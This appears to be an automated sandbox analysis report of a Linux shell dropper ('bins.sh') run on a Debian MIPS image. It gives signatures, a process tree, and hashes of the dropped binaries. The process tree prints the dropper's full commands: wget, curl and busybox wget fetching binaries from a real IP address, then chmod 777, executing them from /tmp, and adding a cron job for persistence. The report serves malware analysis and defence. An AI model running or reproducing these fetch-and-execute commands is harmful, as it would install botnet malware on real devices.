Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05-11-2024 00:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fe55ec7a9c108baee34e5028d3c61501

  • SHA1

    d8562e2cd5ac2b22c50957fe20b097f823b606c5

  • SHA256

    43dedff8578cec7e507ea89b05dbf354465c223f4acfbf5e5f9ec924aaab3778

  • SHA512

    be865b5d30e3f7babfe7ccd76bbfb176735d9af836c85b7a2c310c53eea50432ceec104d8dd1265df82566f3140c83259958d630c4691f62d6e7962bf0abbd2a

  • SSDEEP

    192:Oq/UtnXhFEQu38yuay8Qz3FnXhFEQKuay8QzPl/e:O9tnXnEQu38ycnXnEQ6R

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1968) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          ./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            ./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
              PID:753
            • /usr/bin/wget
              wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:767
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              ./XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:788
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:790
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:791
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:793
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:794
                  • /bin/rm
                    rm XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
                    2⤵
                      PID:807
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                      2⤵
                        PID:810
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                        2⤵
                          PID:811
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                          2⤵
                          • Writes file to tmp directory
                          PID:813
                        • /bin/chmod
                          chmod 777 MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                          2⤵
                          • File and Directory Permissions Modification
                          PID:898
                        • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                          ./MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                          2⤵
                          • Executes dropped EXE
                          PID:899
                        • /bin/rm
                          rm MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                          2⤵
                            PID:901
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                            2⤵
                              PID:902

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /var/spool/cron/crontabs/tmp.pmMFzI

                            Filesize

                            210B

                            MD5

                            77be5047c0e52b6970439a54b4b6c563

                            SHA1

                            5cdd350340d7b13d11d7f69fd4af8214ef5c0fab

                            SHA256

                            e14b59d1c3dc4d93194adb510bdf247f17b5a9c47e948743da1b25242136d016

                            SHA512

                            2e00bf27259b45018194c920d05220e64824e116813baa97a0b8a43303579b43cf5aae99f1e24e40e4be327b25af5982a95ca575caf3abdd0800b327df5d45ae